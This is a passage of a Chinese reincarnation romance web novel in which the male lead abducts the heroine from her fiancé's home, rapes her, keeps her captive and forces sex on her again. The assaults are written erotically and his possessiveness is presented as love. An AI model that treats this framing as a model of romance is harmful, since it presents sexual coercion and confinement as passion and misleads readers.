白日还有闲余,于他人来说宛如岁月静好,而于妧枝所言,今日当真是她此生最痛之日。
她的痛不亚于回到了上一世。
她曾经主动走上商榷安的床榻,却被他亲手推开。
后来他们圆房,他也是不温柔的,粗暴中不含一丝嘘寒问暖,只有激烈的碰撞,和粗沉的呼吸,和昏沉的夜色一直到天亮。
而今,青天白日,大好时光。
本该在郡王府小憩,等着历常珽回来一起品尝甜点,享受岁月安宁的她,却被带到了商榷安的榻上。
当妧枝逐渐恢复意识,清醒过来看到俯身在她身上的商榷安的那一刻,是多么绝望。
他们如同回到了上一世,衣不蔽体,而商榷安正处于蓄势待发之中,一直在扌兆逗于她,好让她能与他感同身受,得到快慰的滋味。
妧枝挣扎,伸手推拒,都在商榷安的控制之下,一一化解。
“我要杀了你,一定要杀了你……”妧枝泪水溃提,不断用言语来提醒商榷安他的犯下的错,“住手,住手啊商榷安……”
“你不能这样对我……”她轻声哽咽,几乎泣不成声。
他怎么能在她这一世,将要得到幸福之际出手破坏,还要行此下作之事。
若被他占有,她怎么办?常珽怎么办?
屋外的光亮照进室内,还算早的时辰,让白日还有很长的时间流淌。
但身下人的哭声,呐喊,依旧阻挡不了商榷安这么做的决心,他俯视着那双令人心碎的眼睛,水花涤荡,却流露出无尽的怨恨之意。
曾经,那双眼睛里的目光,也倒影过他的身影。
那张柔软的唇里,呼唤过他夫君。
比柔胰还细腻的臂膀,挽过他的臂弯。
如今,通通都向着另一个人。
呼唤的也是他人姓名。
商榷安凝视哭红双眼的妧枝,指腹摩擦接住她滴下来的泪,嘴角弧度轻扬,可眼里没有一丝笑意,眼神也带有一丝冰冷的伤痛,“你恨我吧,妧枝。”
“只有恨才能在你心中留下我的影子,哭什么呢?你我难道不是夫妻?合该做这种事。我所求不过是得到我应得的,都怪你,为什么不答应与我重修于好?那日不逃,你早些答应,就没有这么多事了。”
妧枝指甲几近掐进他的肉里,凌乱了发丝,眼眶通红,更是泪流满面。
悲痛到哑口无声,只有嘴一张一开。
凑近了听,依稀能听见她呼唤的是旁人的名字,商榷安立时低声呵止,“别再叫他!住嘴,我让你别再叫他!”
“……”
他对上那道失去希望的目光,捂紧了妧枝的嘴巴,近距离下,二人面容呈现不同悲愤的神色,都如燃起星火,倒影出对方的身影。
“你以为只有你无辜吗?只有你恨?”
商榷安:“那当初为何又要出现在我眼中,无数次我让你离远一些,你又为什么不放过我?”
“不是会哭,会叫痛的人,才是无辜。我也遭受你许多连累。”他凑到妧枝脸庞,轻轻道:“我的人生也因你而毁。”
“而我,也不期待于你爱了。”
如果没有妧枝,商榷安的人生该是如何?
他应是娶商唯真,对她颇有照顾,哪怕那分情意远不到如今这样深重的地步,却也足够他们度过一生。
但他同样也违背了曾对另一个人的誓言,不仅是情意,也是过去与另一个女子同甘共苦过的日子,是背叛了他自己,当初那个从乡野泥泞中一路爬出来的少年。
他自以为到了京都不会被任何人而支配,而却因为一桩婚事向一个女子屈服。
他尽量平衡内心,却难以自控,一切反应嘲笑着他的不自量力,他也成了那类最不讲信义,违背原则最无耻之人。
而濉安王府,因妧枝的存在,他与他们保持着一丝最后的体面。
李侀,那从来未曾真正关爱过他的王妃,只要与他们父母与子相称一天,都是在对望着来路一日一日等待年少的他的背叛。
“好恨你啊,妧枝。”说罢,商榷安放纵自身,在最后一刻妧枝落泪重新奋起挣扎时,将她彻底占有。
第75章 安宁。
午后烈日依旧炽热刺眼,历常珽未料要弹劾要举证的过程竟这般漫长。
尤其他还要防备薛瑥甫向他打探有关妧枝的情况。
但好在事情总有始终,他挨到了最后。
御史中丞给他的回应是,“历大人这几日便在家中等候消息吧,圣上还在骊山,等御驾归京之后,自会有新的发落。”
“那还请御史大人费心督促,尽快处理。”历常珽并不意外会是这样的结果,圣人归京也不过就在这几日内,御史台已经将弹劾记录在案,必不可能因为一个人就徇私枉法,败了名声。
然而就在他要走时,薛瑥甫忽然道:“常珽留步。”
历常珽讶异地看着他,“宰执有何要事吩咐?”
薛瑥甫开门见山道:“你那未婚妻妧娘子,若有空闲,可否为我引荐?我倒是有些话,想要问她。”
历常珽不动声色打听,“不知宰执想向阿枝了解什么,我可以代为转告。”
“还是当面见一见为好。”薛瑥甫却并不透露分毫,只一味地要求要见到妧枝才说。
“怎么,你难道是怕我找她麻烦不成?”他笑说。
历常珽如同嗅到什么危机,却还是同样回以微笑,与薛瑥甫打着太极,“这又从何说起,宰执多心了。”
对方:“你也不想我越过这位妧娘子,去找她阿母吧。”
历常珽当即面色凝滞,多了一丝僵硬。
说完,薛瑥甫不再和他多余寒暄,抚了抚长须,高深莫测的离开。
被迫记下此事的历常珽只好转身想着别的对策。
他心神不宁地往晚走,时辰尚早,今日倒是可以早些回郡王府。
顾曲说妧枝在他出门后做了莲子羹,她有一双巧手,心也灵慧,这般想着倒是心情好了许多。
历常珽迫不及待回到府中享受这样的温情。
然而天不遂人愿,今日气氛好似特别幽静。
郡王府荷花依旧在池中盛开,颗颗饱满,可到了妧枝的院房中,历常珽敲了敲门,“阿枝,在吗?阿枝?”
当他推开门的那一瞬,只见屋中空无一人,榻下遗留这一把仿佛不小心被弄掉的蒲扇。
窗幔轻扬,像他此刻的心绪一样,忽上忽下。
“来人——”
历常珽容色倏地变化,厉声招呼外面的看护,“妧娘子呢?为何人会不见了?!”
“娘子,娘子说她要回房歇息,身边人便没有近身伺候。”
“看护今日都在,只是都未发现异常……”
在郡王府场面颇为慌乱的同时,同样在京都的一间屋子里,商榷安从妧枝身上下来,空气中还弥漫着忄青欲过后的余温。
放置在屋里的冰块早已融化成水,他去吩咐人倒了壶适口的凉茶进来。
试了试口温,然后拿到榻边喂给她喝。
然而身上没一片好的地方的妧枝连多看他一眼的余力都没有,只余光扫过,然后冷漠而麻木地偏过了头。
商榷安眼神专注地打量她,肤如凝脂的妧枝身上都是他的痕迹,掐过捻过,宛若冰雪上散开的红梅,美艳又触目惊心,让人想要永久镌刻在脑海里。
可惜一道低哑的嗓音咒骂声打破死寂,“畜生。”
妧枝:“你会不得好死的。”
商榷安听出她平静语调中的怨恨,从在榻上那一刻开始,妧枝就没停止过咒骂过他,如他所愿只有厌憎。
憎到她嘴里所念的都只有他人的名字。
商榷安定定的站在一旁端着茶水,似化作了一块枯木,直到许久,什么也没说,转身从榻边离开。
门缝打开的声音昭示着他从屋子里出了去。
妧枝抬了抬头,目光乱转,没有焦距,随即像是累了般痛苦地闭上双眼。
她不再是那个清白又洁净的妧枝了。
商榷安在她身上留下污点,她甚至不知该怎么面对,让历常珽看见。
这对历常珽无异于是残忍的。
他什么都不知道,亦什么都没参与过,却被她牵扯拉到这三人中扭曲而折磨的关系中。
这日妧枝杳无音讯。
她没有回去,亦不关心商榷安将她带到的是什么地方,从白日到晚上都滴水未进。
仿佛深切知晓妧枝当前心绪难以平静,绝不会想面对他,在占有了她的身子后,这天夜里商榷安也未曾再去见妧枝,免得打扰了她。
但这夜注定不会让人安生。
濉安王府暌违已久,迎来客人。
“我要见商榷安。”
历常珽站在王府宴客的正堂,面对的是濉安王和王妃,昔日的姨母外甥,成了当世的仇人。
濉安王妃还记得此前的仇,难以放下心中怨怼,“榷安?他在不在府中,谁都管不了。也不喜欢旁人探听他的行踪,你要见他,只能自己去找,常珽,我帮不了你。”
历常珽露出苦笑:“小姨母,我知你如今恨我,你想要解气,之后要我怎么做都可以。但如今,我是真的有急事要找他。夜深了,他不在府里能去哪儿?”
妧枝不见,历常珽第一个怀疑的就是他。
毋庸置疑,只是不知他如今将阿枝藏身在何处。
之前的私宅,历常珽也去找了,这次那门房倒是轻易打开门迎他进去,让他搜。
结果还是不见踪影,历常珽越来越心慌,眼看天色越来越晚,再过一两个时辰就是子时,他不得不破例前来王府质问。
濉安王妃依旧无动于衷。
她与历常珽的母亲是表姐妹,曾经感情深厚,可是随着人死,再深的感情都化为黄土。
都是为活着的人打算,当初她去甘府那么要个说法,还不是吃了大亏,昔日姑母如何对她的她记得一清二楚。
“你要见他,便着人自己去请,其他的与我何干。”
“姨父。”历常珽转头求向坐在椅子上,一直未曾吭声的濉安王。
李侀沉默已久,他似是对今日这局面感到匪夷所思,如何也不能理解区区一个妧嵘的女儿,竟然能将他们几家招惹至此,掀起如此轩然大波。
尤其是商榷安,次子顽劣,被抢了亲,会做出些失去理智的事倒也正常。
但万万想不到,会是最开始根本瞧不上妧枝的长子。
“去把榷安请来。”
濉安王妃顿时惊讶地看向他。
商榷安今日的确在府里,可是作为这个曾经的姨母,濉安王妃并不想那么快让这个外甥如愿。
奈何濉安王决心做主,一旁候着的下人于是走出正堂。
历常珽郑重行礼:“多谢姨父。”
在商榷安到来时,濉安王等人从正堂先行离开,煌煌夜色,高大修长的身影从门口跨过门槛,冷眉冷眼未见分毫心虚的从外面走进来。
历常珽等候着,一见到商榷安现身,便如看见罪魁祸首,眼神警惕仔细打量着他,同时逼问:“你把阿枝弄哪儿去了?”
他不知今日为何看着商榷安的感觉格外不同,他好似并不高兴,周身气势沉郁,连看他的目光都掺杂着别的东西,如同泥泞中再无希望的人,。
商榷安负手而立,眉眼沉静微敛,“你又如何肯定她就一定在我这?”
“人不见了,你只会向无头苍蝇闷头乱转吗?”
历常珽一口咬定:“阿枝不见踪影,与你脱不了干系。把她还给我。”
商榷安:“她不是你的。”
“从前不是,从今亦不是。”
历常珽:“是与不是,不是你说了算。”
商榷安今夜兴致不高,并无与他争辩的打算,他更像是不想面对历常珽,让他在此跟前碍眼。
“那你就去找。”商榷安:“既然你觉得是我藏了她,那就把她找出来。”
他从正堂出去,冷淡的背影即将消失在眼前。
历常珽不再二话,忽而加快步履,越过商榷安熟门熟路地往后院找去。
然而到了入口处,却突然有王府的下人上前拦路。
“郡王不可,夜都深了,后宅不可乱入。”
“让开,你家大郎君允我进去找。”
历常珽带来的人与王府的下人对上。
商榷安在旁不含一丝一丝愤怒和耻笑冷漠看着,像个事不关己的人,只沉默地打量历常珽。
“还请郡王莫要为难我们,后宅乃是重地,女眷在呢,实在不方便,郡王请回吧。”
历常珽与他人对峙,下人并未听了他的话便放人。
直到他僵持了许久,商榷安都不打算开口。
历常珽临走时看着他人愠怒地道:“你会后悔的,榷安,妧枝没有对不住你,你若不能诚心呵护她照顾她,就不要伤害。”
他路过不发一语的身影,在黑夜里,灼热的微风和摇晃的树影让商榷安的神情变得模糊不清。
他听见历常珽送了他一句:“阿枝想要安宁,你知道吗?”
世上最清闲的日子,莫过于三餐四季,有人照应。
上一世,平氏劝说:“阿枝,嫁过去,与你夫婿过个好日子,你照顾他,他爱护你,这便是最好的一生了。”
妧枝答:“那若是他不爱护我怎么办?阿母,我可以归家吗?我还是想与你和弟妹在一起。”
“傻瓜。”
平氏笑了下,好似也不知道答案。
走回到院子前,在通往商榷安的屋子必经之路上,一道人影伫立在中间,挡住商榷安的去路。
多日不见的商唯真从骊山回来明显憔悴许多。
衣鲜光亮的模样不再,痴痴地凝视着商榷安。
商唯真:“阿兄为何故意瞒着锦瀚郡王,说人不在此处?”
她听见动静,时刻吩咐婢女留意书行居内的情况,却不想今日里,她连商榷安的居所都随意进入不了了。
前院有了消息,商榷安前脚走,她后脚立时便跟过去,只不远不近听着那些对话。
“唯真,不要多管闲事。”商榷安道。
商唯真如同心都要碎了,朝着商榷安走近,禁不住抱上去,“那我呢?”
“阿兄,你真不打算要我了吗?”
她怆然泪下,十分眷恋深情地看着他,想要用二人共同拥有的十几年情意来挽回商榷安。
“她只是个外人,我才是真的爱你啊,阿兄。”商唯真:“多少年,我等了你多少年,从署郡到京都,那么多岁月,何故就叫另一个人把你占去了?”
她不甘心,她真的不甘心。
商唯真固执地不肯放开他,可在片刻之后,商榷安还是拉开她的手,将她稍稍推开到一边。
他的脸色是商唯真前所未见的深沉复杂,仿佛对他从未了解过。
而他的话语又与往日无异,就好像曾经在老家一样,只有听了才知少了些什么,“时候不早了,快去歇息去吧。”
“我和她的纠葛,远非是你想的那样能轻易一了百了。不要再为我烦扰了,唯真。”说着,商榷安往他的书房径自走去。
第76章 对付。
妧枝经过一天一夜休整,不吃不喝已经有了些时候。
她知晓她被困在何处。
上辈子商榷安的居所不是她能畅通无阻进入的地方,且他卧房除了他本人都不让外人过夜。
妧枝昨日就是在这里失了身。
商榷安宛若对她有所顾虑,没来烦她。
但翌日一早,知晓她滴水未进很长时日,且精神不济,商榷安并没有继续纵容她这么下去。
推开卧房的门,妧枝和昨日一样,不着一缕,她还在那张发生过不堪的榻上。
仿佛知道自己脏了,也就甘愿让自己和那些污浊待在一起。
她像是一夜未眠,眼里布满些微血丝,她的发早在昨天起就被卸下发簪,一切都柔顺的铺在榻边,露出她鲜明纤细的锁骨,可堪观察到被褥下隐约可见的弧线。
映在商榷安眼里,她的一切都坚韧而美丽,如同覆盖了一层黑白山水的色彩,令苍山哗然。
“起来用些吃的。”商榷安也没有很怜惜,他所有的一切都充满宣示欲。
妧枝对他不理不睬,商榷安便可以直接出手动她,他拉开她的被褥,伸进里面触摸妧枝的肌肤。
肉眼可见,在他动了以后,没有丝毫反应的妧枝难得的弹动了下小腿。
似是不可置信他竟然能那么无耻,明明伤害了她,在她那么无动于衷心如死灰的情况下,还能轻描淡写在她面前出现,为所欲为。
妧枝没有洗漱,她昨夜亦不曾梳洗,商榷安安排的婢女来了好几回,好言好语,甚至求着妧枝要帮她清洁身子。
妧枝都不听,她将所有的声音都排除在外,不让人来打扰她一个人的世界。
而今日,此刻商榷安并未纵容她,而是极为无礼甚至凶悍地闯入她的领地。
“什么都不愿意做,心藏死志,是在遗憾未能帮他守贞?”
商榷安对上那双终于肯施舍他几分忧愤的目光,道:“可惜了,你现在是我的。既然你不肯动,那就我来帮你洁净身子。”
妧枝挣扎,开始推拒。
她有意留着这副污浊的躯体,就是不想让商榷安再来碰她第二次,她更无心关心自己在旁人是什么模样。
若是零落在泥土上的片羽,那么脏也就脏了。
可是商榷安并未如她所愿。
他像是毫不嫌弃,更甚者将赤条的想要逃走瑟缩回被褥中的妧枝捞回他怀里抱着,那掌心滚烫夹杂着指尖一丝微凉,就那么硬生的擭着她的腰身,胸肩,不让她逃离半分。
“来人,抬水进来。”
他话音刚落,门就被推开,隔着屏风无人敢看不该看的地方,唯有妧枝浑身僵硬地坐在商榷安身上,不敢再动弹。
说帮她清洗,商榷安便真的在其他人出去后,在房门关上之际将妧枝塞进浴桶里。
他动作并不温柔,略带几分粗鲁,在妧枝想再次挣扎离开他跟前时,那手腕宛如有千斤重,摁在她肩上,使得妧枝除了扭腰使不出别的力气。
她差点因腿软而趔趄倒在桶中,而水花四溅同样弄湿了商榷安的衣物。
他顶着睫羽上被沾染的水珠,眼珠黑瞋面无表情俯视着妧枝,有严肃也有薄情,“等沐浴过后,你再这般滴水不进,饿着肚子,我会让你永远也下不了榻。若你愿意一直这样的话。”
颓败萎靡中的妧枝闻言抬抬眼,微微泄露了一丝怨火,瞪了他一下。
然后不言不语地偏过头,只是这次即使商榷安掌心再次覆盖上她腰脊以下的位置,妧枝只是持续抗拒僵硬着身体,都尽量不去躲避。
她闭上双眼,依旧感到苦涩,不愿面对一句话都不想与商榷安交谈。
值得庆幸的是,商榷安在威胁过她后,也缄默着不再言语。
沐浴过后,妧枝被商榷安从浴桶中拉出,裹上布巾送回到榻上,这当中再未让她沾过地。
当商榷安要俯身掰开她时,要上药时,妧枝如被惊动的鲤鱼,打挺一般蹬他。
嘴里一时发不出声音,只有“啊,啊”如哑巴般反抗着呼吸。
但在商榷安的手指固执地钻进来后,她煞白的脸色,不多时变得红润,再次慢慢如胭脂覆盖,恢复到被热气蒸腾时的嫣红。
商榷安眸如星子,凌厉而幽邃地盯着在他服侍下神色屈辱,却千变万化的妧枝。
如同要将她摄魂制成傀儡般,在她痛苦抗拒,到无法言语只能散发一阵阵喘息后,眼里的光亮更如炬火,仿佛要将她此刻的样子都封存在脑海里。
而在下袍遮挡下,他也早已坚如烙铁。
等到妧枝再次在他手下绽放,商榷安这才冷着张脸看似平静实则莫测让自己进入妧枝身体里。
他们之间没有话语,全是混乱的气息,而隔着门外,诱人而遐想。
令整个院子里的下人都不敢靠近。
枕戈尴尬地拦住商唯真,不让她擅自闯入进去。
而妧枝的叫声恰巧溢出,那种濒死般快慰之感让人都知晓在里面她和商榷安在做什么事。
商唯真死死盯着那间屋子,枕戈劝她,“商娘子,还是走吧。”
“……”
曾经是商唯真看着商榷安的下属劝阻他人,生人勿近。
今日轮到她被拒之千里之外。
她难以想象那房中,商榷安与妧枝是什么情形,却偏要听,心如刀绞,折磨自身。
最后是婢女来拉她,方才将她从此处拉走。
妧枝再次失踪,还是在他府上不见,历常珽久违的对下人发了雷霆。
他将那日在府里的看护都解散走,可疑之人则交给官府,然而妧家那边他却是一时半会不敢让平氏等人知晓。
“常珽在想什么?真是罕见,你竟会主动登上我府,也是稀客稀客。”
凉亭中,薛瑥甫好整以暇坐在历常珽的对面,主动为年轻小辈煮茶,轻烟渺渺,然而心神不宁的人却无心享受这份闲暇。
历常珽:“我来找宰执大人。宰执不是说,想要见一见我那未婚妻,妧枝么?”
薛瑥甫:“哦,你肯让她出面了?”
历常珽:“她不见了,你想找她也无用了。”
薛瑥甫皱了皱眉,然而笑意依旧挂在嘴边,似是不大肯信,“好好的人,怎会不见,莫不是小郡王你金屋藏娇,怕人觊觎,才说不见了?”
“即是不见了又如何,掘地三尺找出来就是。偌大的京都,还能凭空消失了不成?”
历常珽并未理会薛瑥甫的调侃,而是忽然流露出一丝嘲弄,“若是那么轻易,像宰执所说的那样能找到人,那京都可尽在我掌握之中了,可惜……她是被人绑去的。”
薛瑥甫手中倒茶的动作一顿,看了历常珽一眼,随即微微一讶:“谁人敢绑郡王未过门之妻?那可真是目无王法了。”
历常珽毫不介意,直截了当告诉他,“实不相瞒,今日我登门就是为了告知宰执,若想见妧枝,可不必通过我了。”
“她不在我这里。”
“那是……?”
“濉安王府,她被商榷安从我府上掠去了。”历常珽痛快道。
“若宰执能有法子助我把人夺回来,我愿意许下重礼,一点心意,孝敬宰执。”
对付商榷安的私宅,历常珽尚有办法,然而濉安王府那样大的地方,还有濉安王在,历常珽更无可能硬闯。
他只能借助与濉安王府旗鼓相当或更大的势力,来向商榷安施压,以此要回他重要的人。
这般姿态,倒如若投诚。
早已与商榷安这个后起之秀不对付的薛瑥甫在思忖片刻之后,露出耐人寻味的笑,竟亲自端起茶杯递到历常珽手上,“慢慢说,喝茶。”
……
屋中,在再次承受了玷污的妧枝早已受不住商榷安的索取,失去力气。
她双眼带着两道鬓湿的泪痕昏睡过去。
一夜未眠,她眼底发青,早已被商榷安看穿,如今一度欢忄俞撑不住多久便失去意识。
轻抿的小嘴拉成一个委屈的弧度,睫毛凝结出泪珠,无辜又十分可怜。
盯着眼前人许久,一直到屋外有人轻轻敲响,说是有要事要禀告,商榷安才从榻上动身。
这一比较,他比被褥中重新擦拭过身子的妧枝看起来要衣衫整齐得体许多。
来到书房,他面上已不见忄青欲出现过的模样,只有微妙的气势透过眉眼,展露出一丝有过雨露交融的餍足。
“什么事。”
“大郎君,历郡王……薛府……”
几句话让枕戈将提前得到的消息向商榷安透露出,“还有,御史台那边,曾见过薛宰执过问了妧娘子的事,已经引起薛家注意了。”
纸包不住火,薛明烛一日不能现身,薛府便一日不会罢休。
到底是家中的贵女,这么久没有消息,以薛家的反应定然已经料想到是不是出事了。
枕戈并不认同自家郎君的做法,要为一个女子惹上大麻烦,同是朝中官员,宰执亦是权倾天下,更不消说大郎君今后更有可能会继承宰执衣钵。
与薛瑥甫闹翻并不是最好的局面。
但大郎君似是被那位娘子迷上头了,不仅不放人更不惜与薛瑥甫作对,还想彻底为她将此事摆平了。
在得知历常珽亲自登门拜访薛府后。
商榷安面上显得颇为平静,未提有关妧枝的样子,而是道:“薛瑥甫想要薛明烛的下落,那就给他一个。”
“他若有其他不满的,只管来找我。”
第77章 星火。
商榷安回到屋中,看了看妧枝,她还在安睡,终于因一场充足的欢愉而入了眠。
一片漆黑的眼睫阴影下,展露着体力透支的疲累。
商榷安坐在榻上,像入了怔直勾勾地看了她一会儿,随后起身出去。
妧枝醒时,屋里并没有别人。
但若她一发出动静,屋外守着的婢女就会进来伺候她。
暮色昏昏,妧枝听见外面有道声音在说话,颇为熟悉,等过了片刻,声音离她房门越来越近。
妧枝终于回过神,听清了外面说话的人是谁。
商唯真跟守门的婢女交际,“你拦着我做什么?我会害了她不成?知道我阿兄在屋里藏了娇,我亦知道她是谁,熟人。”
“妧家的妧大娘子么,我们曾经也是交好过一阵的。说了不会害她,有阿兄吩咐又如何?我难道是什么泼妇,连这都容忍不了?再不让开,我可要生气了。”
婢女交涉无果,似乎只能纵容商唯真去到商榷安房里。
而妧枝此刻还在榻上,听着刚才那番动静,连起身的意图都没有。
她侧着身,始终保持着这一姿势,直到商唯真找进来,在房中搜罗。
最终停留在商榷安的卧榻之处,隔着屏风,在距离不远又不近的时候识相停步。
商唯真看到了榻上那柔软的黑发,架子上搭着的衣物属于商榷安所有,和榻上的人穿着的好像是同一件样式,靛青色的外袍,里衣好像也很宽大,并不符合一个女子的身形。
商唯真咬了咬唇,真正感受到什么才叫嫉妒,商榷安把自己的衣物都给妧枝穿了,让她睡在他的榻上,这证明他们做了那些男女之事。
“妧娘子不下来么?”商唯真:“屋中来了人,也不出来见一见我?”
妧枝依旧在榻上无动于衷,仿佛没听到一样。
她闭着眼,连商榷安都不想理会,更何况商唯真。
但她今日认了死理,过不去心中那关,硬要找妧枝讨个说法般,“你若不起来,那我可就进来了。我阿兄床榻是很好睡吧?害你这般念念不舍……”
“可妧娘子,你难道忘了自己是有婚约的人了?”
“你这么想知道,理应去问你阿兄。”妧枝沉浸在自己的世界,却接连被打扰到独处,心绪并不是很好。
商唯真的质问都是无稽之谈,她明知她是被商榷安掠来的,却说的好似是妧枝主动纠缠爬上商榷安的床。
借着她的亲事,提醒她是有婚约的身份,却背着未来夫婿与人媾和,想让她羞愧难当。
“出去。”妧枝不想见的态度明确,可商唯真亦姿态绝对。
她听了妧枝的话,不仅没有出去,反倒心一横,越过屏风步入进来。
这一来她就看到床榻上的妧枝,她果然穿着的是商榷安的衣物,很不合身,却昭示着他亲手照顾的宠爱。
而妧枝因商唯真的到来,从无动于衷也变得颇为不悦,不得不从被褥中挺起身,应对一脸醋意,饱含委屈和哀怨怒视着她的商唯真。
却不自觉流露出承受过欢爱的媚态,那向上细挑的眉眼,同样微恼,却因睡了很长一觉,眼珠锋利而湿润。
轻轻随意系上的衣襟可窥内里曼妙的腰身,脖颈处被吮吸过度的红痕让看到的人都可以感受到,这种深刻的占有,在她身上留下烙印的男子是怎样激烈和霸道。
“你很得意是吗?”商唯真不禁问。
目光在妧枝脸上追溯,要纠察出一丝胜利者的得意,然而不满且厌烦看着她的妧枝眸色冰冷,没有一丝言笑。
“阿兄对你着了魔,像被魇着一样迷恋你,你是不是很高兴?你可以从你的议亲夫婿和阿兄当中,随意挑选哪个宠爱你。”
妧枝冷冷听着她的荒唐语,目光越过她看向另一旁犹豫为难,根本不敢过来的婢女。
她身上的衣物是商榷安在强行占有她后,又帮她擦了一次身强硬套给她的,想要连他的衣裳也要沾染妧枝的气味,亦或是在她身上留下他的味道。
在妧枝抬手一指时,难掩商榷安的衣物带来的风流窈窕,却饱含阴郁的怒气,“滚。”
商唯真听不懂话,她便让婢女赶她们出去。
可商唯真道:“我来是有话和你说,我来跟你谈谈阿兄。”
“你了解他多少?你们是如何认识的?妧娘子,你知不知道,你这样做是抢走了我阿兄,他如今心中牵挂的全都是你了,你为何要这么做?可有想过我心里是什么滋味么?”
妧枝从未想过有商唯真对峙的一日。
她定定听着,在商唯真如何伤怀自己是怎么受到她的伤害时,妧枝朝商唯真走了过来。
她赤着双足,踩在地毯上,神情如霜,明明身量相仿,却好似高了商唯真一筹一样。
两边婢女生怕二人闹起来,既提心吊胆,又惶恐插足这样的事中。
在距离商唯真一丝距离时,妧枝停下。
她搭上商唯真的肩,看到了她眼中的憎意和畏意,“你很委屈吗?有多委屈?会比一个妇人,新婚之夜被冷落喝下一碗避子汤要委屈?还是懵懂无知自己丈夫心里藏着别人那样委屈?亦或是独自管着后宅,丈夫却和其他女子居住在别院私宅还要委屈?”
“商唯真,你得到的远比你想象的多,我不欠你什么!你更没有资格来指责我,懂吗?”
妧枝说完松开揪住了她肩头衣裳的手,再次指着门口,“滚出去。”
商唯真未料妧枝竟会向她动手,她愕然之际,因发呆被妧枝推开,神情恍惚地摔倒在地上。
而此时忽然,门口来了人。
婢女都受到惊吓,一时忘了扶起她,商唯真同样朝着门口的位置看过去。
商榷安站在那身形高大且修长,宛若一堵墙却藏身在阴影中,背对着光看不清脸,只有一双凌厉的眼睛来势汹汹地冷冷看着她们。
商唯真心里一悸,受了不少委屈,先是喊:“阿兄……”
屋子里只有她一道声音。
她被妧枝推了一把,逼迫她离开商榷安的屋子,她是什么身份,能比得上她跟商榷安从小一起长大十多年的情分?
婢女也都忌惮且小心翼翼地望着商榷安,担心被责罚,亦不知他是否会大发雷霆,尤其责怒赶商娘子走的妧娘子。
孰轻孰重,孰对孰错一看便知。
商榷安踏入门槛,步入房中,在所有人眼中扶起商唯真,出乎意料地没有安慰,而是偏着头问向妧枝,“怎么不着袜履?”
商唯真怔怔地看着商榷安松开她,走向另外一个女子,继而对着妧枝俯身蹲下。
他摸了摸她冰凉的双足,在妧枝宛如被烫着般瑟缩了一下后,抬眼深深望了她一眼,叮嘱道:“以后穿了鞋和袜再下榻。”
他借着这等姿势,握着妧枝的玉足不放,竟顺势摸到她小腿,在妧枝身形弯曲躲避时将她拉拢到怀里抱起来。
然后交代婢女:“带商娘子出去。”
商唯真听了几乎不可思议地望着商榷安,她不相信会是这样的结果,“阿兄,她,她推了我。”
她刚刚可是摔倒了。
所有人都瞧见妧枝亲自动手。
却听商榷安好声道:“唯真,我不是说了,以后不方便,不要再往这边来吗?为什么不听?”
“阿兄……”
竟不是为她讨个公道,商唯真眼中很快盈出眼泪,眼眶红红的看着他跟妧枝,像是被最亲近的人所背叛了。
妧枝毫无动摇地别开脸,如今商唯真所受委屈,可抵不过她上辈子一丝一毫。
她从前也是这副样子,可怜巴巴看着商榷安跟她,二人相互有情有意,却从来不说。
后来商唯真如愿以偿搬了出去,与商榷安同住一座私宅时心情大好,那时候她怎么不谈有没有对不住妧枝?
商榷安:“妧娘子许久之前就与我议亲了,以后我和她便是夫妻,你们都要当她是我的原配妻子看待。今天的事,我不想追究,但若有再犯,就不会像方才那般客气。”
婢女首当其冲向商榷安认错,未能阻止商唯真,才把人放了进来。
而商唯真对上商榷安的目光,她的阿兄对她态度还算温和如往常,只是再也不是那等柔情似水的模样。
或许从前都是假象,如今的他对妧枝方才至真至性,不掺一丝假意。
商唯真被婢女们请走,这回她没有再为自己声张,而是回头无声默默地注视着他们。
被商榷安抱在怀里的妧枝没有一点骄横和欣喜的样子,但就是这般不带一丝感情的模样,却令人生出十分羡慕。
因为商榷安对她有着旁人无法想象的纵容。
在这背后,像有一把锁链将他们二人从四面八方牢牢锁住,难以插入。
商唯真走后,妧枝对商榷安道:“放开我。”
她终于肯对他说话了。
不再是之前死气沉沉,丧失一切希望的态度。
也许是商唯真的到来,让妧枝记得自己身在何处,与她肢体相缠的人是谁。
而还有一个人,她真正认可的夫婿历常珽
还在等她,她不再甘于认命,尤其是被囚于商榷安的怀中。
比起方才,她多了许多活气。
面容恢复血色,那双清冷的眼眸重新燃烧出点点星火。
可是,商榷安却未曾听她的。
而是满是霸道的注视着她,下一刻几欲将她的唇咬破。
第78章 偏执。
妧枝如今折在商榷安手中,自身难保。
自从对她动了心思后,商榷安破了她的身子,妧枝少不得承受他的索求和欢好。
可她却是一万个不情愿跟商榷安同床共枕的。
奈何商榷安连入睡,都要将她紧紧锁在胸前,双臂坚硬如铁,下腿也被重重压实了,她没有丝毫可以躲避喘息的空间。
反倒是被侵占得不留一丝余地。
对方自然能感受到她的抗拒,妧枝之前被他占有时伤心欲绝,心灰意冷,恨意加深商榷安都不在意。
反倒是自我的厉害,“你不喜欢那座私宅,难道是想留在濉安王府。”
上辈子妧枝就在王府里住惯了,但不代表她喜欢。
商榷安盯着她的眉眼揣测她的神情,“原先你去过的私宅唯真的确住过,你很介意的话,我另外安置一间宅院,你看如何。”
“等成婚后,你我以后就在别处安家了。”
妧枝:“我没有想过还要嫁你。”
同躺在一张榻上,商榷安与她四目相对,妧枝身上他留下的痕迹正新鲜,欲望的余韵尚在休憩,“就算你一直将我留在这里,我也不属于你。我要回家。”
此事揭过不提,商榷安如不受影响,静默着的眸光微闪,“回家的事以后再说,我会陪你一同上门看望你阿母他们。既然你还未想好,那么新的宅子我帮你安置了,你应该会喜欢的。”
妧枝与他多说无益,露出些许疲色,闭上双眼。
然而商榷安又起了兴致,他不在乎妧枝有没有力气给他回应,过后一度索取,精力充沛,且毫无餍足之意。
商唯真自来过一次后,果真不再踏入这里。
妧枝听说她想从此处搬出去,就如上辈子那样,就像是在说有她没“她”。
下属来禀告时,妧枝在旁看着商榷安,他却没有像上辈子那样打算,给商唯真另外安置的余地。
而是道:“你去问问,若是她不想留在京都,我可以派人送她回署郡去,那里环境清幽,还有田宅,不会亏待了她。”
署郡便是商朔老家,商榷安当年生活了很久的乡野之地,自是无法与繁华的京都可比,但也不是什么真正穷山恶水的地方。
妧枝如同从未认识过商榷安,亦或是周围人也一样,似是第一次真正认识到这位商大郎君,他其实骨子里是个极为自我且冷漠的人。
多年情意让他对商唯真还保留些许体面,可若是真正触及他的利益,即便是相识多年的好妹妹,也依然可以放弃。
枕戈离去,这次没再回来说些什么。
看来商唯真那里也并非想回去署郡。
商榷安被妧枝盯着,他发现她看他的眼神目光,充满不可置信,似乎不敢相信他会那么对商唯真。
